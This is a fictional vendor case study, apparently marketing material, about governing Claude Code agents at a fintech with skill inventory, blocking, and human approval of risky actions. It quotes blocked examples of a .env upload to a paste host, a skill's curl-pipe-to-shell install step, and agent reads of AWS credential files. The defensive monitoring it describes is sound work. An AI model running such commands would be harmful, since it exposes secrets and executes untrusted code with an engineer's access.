Illustrative exampleThis company is fictional. The numbers come from a modelled fleet, not a customer.

Example deployment

How a regulated fintech said yes to Claude Code for 140 engineers, with approvals on the riskiest actions

A fictional 300-person fintech rolled Claude Code out to 140 engineers in four weeks, with about 40 risky actions a week waiting for a person.

At a glance
Company
Fintech, 300 people, regulated
Devices
300 devices
Device management
Jamf
Claude Code users
140 engineers and data staff
Modules
Supply Chain on 300 devices, Runtime on 140
First install to whole group
4 weeks

What changed in the first weeks.

About 40

approval requests a week, out of roughly 200,000 checked actions

Routine work went through untouched, and a person looked at the few actions that mattered most.

186 of 212

components trusted in the first week, with 23 left for review and 3 skills blocked

The 212 were 168 skills, 27 MCP servers, 11 plugins, and 6 hooks, each able to read files and run commands with an engineer's access.

74 of 300

devices already ran Claude Code before anyone approved it

The rollout started from a fleet where Claude Code was already in use, so the first job was to see what it loaded.

Fictional quote

We said yes to Claude Code for 140 engineers. About 40 actions a week wait for one of us, everything else just runs, and when an auditor asks who approved a terraform destroy, we can show them.

Head of IT & Security, 300-person regulated fintech (fictional)

The company and the person quoted are invented to show how a rollout can go.

Engineers wanted Claude Code. Some already had it.

The engineering leads at a 300-person fintech asked for Claude Code for 140 engineers and data staff. The IT & Security team, three people, could approve the request. They couldn't say which devices already ran Claude Code, which skills and MCP servers it loaded there, or what it was allowed to do with an engineer's access to production repositories and cloud accounts.

A coding agent runs shell commands and reads files as the engineer who started it. At a regulated company, that meant one bad skill or one unreviewed terraform destroy could touch customer systems. The team wanted to say yes, with a record of what agents loaded and a person in front of the few actions that could cause damage.

How the rollout ran.

  1. Week 0Pilot on free devices

    IT pushed the Signals Corps Endpoint Agent package through Jamf to a few engineers' devices and approved each enrollment code in Control Plane.

  2. Week 1First inventory and trust decisions

    The same package went to all 300 devices on day one of the week. By the end of the week every component had a trust decision or sat on the review list.

  3. Week 2Runtime in log mode

    Runtime checked every action from a pilot group of engineers and logged what the rules would have stopped. Nothing was stopped.

  4. Week 3Approvals for the riskiest actions

    Three rules moved from log to approval, covering terraform destroy, force pushes to protected branches, and reads of credential files.

  5. Week 4Whole engineering group, with blocking

    Claude Code went to all 140 engineers and data staff, and Runtime started blocking uploads of secrets.

212 components to check before anyone said yes.

The free devices showed the package installed cleanly through Jamf, so in week 1 IT pushed it to all 300 devices. On day one of the fleet inventory, Supply Chain found Claude Code on 74 of them. Most were engineers who had installed it from the terminal on their own, and a few were analysts outside engineering.

Those 74 installs loaded 212 components between them:

  • 168 skills many copied from public repositories into ~/.claude/skills/
  • 27 MCP servers the local programs that give an agent extra tools such as database or ticket access
  • 11 plugins packaged bundles of skills and tools
  • 6 hooks scripts that run when the agent starts a session or uses a tool

Supply Chain checked each skill against the open Supply Chain Agent Threat Rules (ATR) where it sat on the device. Control Plane received the component names, hashes, and findings. The skill files, usernames, and file paths stayed on the devices.

Trust most of it, block three skills, and put approvals on three actions.

By the end of week 1 the team had trusted 186 components, left 23 unreviewed, and blocked 3. The unreviewed ones kept running and stayed on the review list. All 3 blocked components were skills that matched a critical rule. The team also reviewed all 27 MCP servers by hand and trusted the ones engineers used, since blocking from Control Plane applies to skills and plugins.

Runtime came next. In week 2, log mode showed which actions the rules would have stopped for the pilot group, with nothing stopped. In week 3 three rules moved to approval. When an engineer asked Claude Code to tear down an old staging environment, the agent's terraform destroy paused on the device. The request appeared in Control Plane with the rule it matched and the device it came from. Security approved it, and the command ran. The engineer saw the action wait for approval and then continue.

The three approval rules came from what log mode showed in week 2. Agents had run git push --force against protected branches, and some had read ~/.aws/credentials while setting up deployments. Engineers had approved each of those steps in their own terminal, and nobody else had seen them. Before turning on approvals, the team checked the coverage view in Control Plane. It showed whether Runtime could observe, ask for approval, or block for each Claude Code install. A few older Claude Code versions showed as degraded, so IT updated them through Jamf first.

In week 4 Runtime started blocking uploads of secrets. A command such as curl -T .env https://paste.example stopped before it ran, and Claude Code told the engineer which rule matched. Across all 140 people, Runtime checked roughly 200,000 actions a week and raised about 40 approval requests. Everything else, from npm test to git commit, went through without a prompt.

One of the 3 blocked skills was a popular changelog skill that three engineers used every day. Its setup section told the agent to fetch and run a remote script with curl -fsSL https://example.com/install.sh | sh, which matched a critical unsafe execution rule. Blocking it took the skill away from those three engineers for a week. One of them had it loaded in a running session, so the skill stayed there until that session ended, and Control Plane showed that the device needed a new session.

The publisher shipped a fixed version that dropped the remote script. Because the content had changed, Supply Chain listed the new version as unreviewed, and the earlier block and review didn't carry over. The team read the new version and trusted it a week later, as a new trust decision for that version only. They chose to trust the version and left the publisher unreviewed, so the next update will get its own review.

Questions IT & Security teams can now answer.

The table shows how the team answered common questions before the rollout and after week 4.

QuestionBeforeAfter
Which devices run Claude Code?A guess from an engineering surveyThe agent list in Control Plane, with versions, for all 300 devices
Which devices have the changelog skill?A message to every engineering channel and a day of repliesOne search in Control Plane
Who approved that terraform destroy?A thread in chat, after it ranThe approval request in Control Plane, with the rule, the decision, and who made it
Can an agent upload a .env file?Nobody would know until laterRuntime blocks it and shows the engineer the matched rule
Has a trusted skill changed?Nobody would noticeThe new version shows as unreviewed until someone decides

What this fleet would cost.

Supply Chain on 300 devices, and Runtime on the 140 that run Claude Code. Free devices on every plan. Your bill depends on how many devices you cover, so heavier agent use doesn't change it, and finance can plan ahead.

Estimate your cost

Read the solutions behind it.

Built on these modules.

Before trust

Supply Chain

Find every AI agent on every device. Check every skill it loads.

See which AI agents run on each device and which identities they can reach, check the skills they load, and block what you don't trust.

Explore Supply Chain
While agents act

Runtime

Control risky agent actions. Before they execute.

Stop unsafe agent actions in real time while safe work carries on.

Explore Runtime

Early access

Reduce agent risk without slowing your teams down.

Start reducing agent risk before general release by checking agent components, controlling agent actions, and hunting through your AI security logs. Signals Corps Control Plane opens to early sign ups in the next few weeks, so join the waitlist with your company email.

Get early access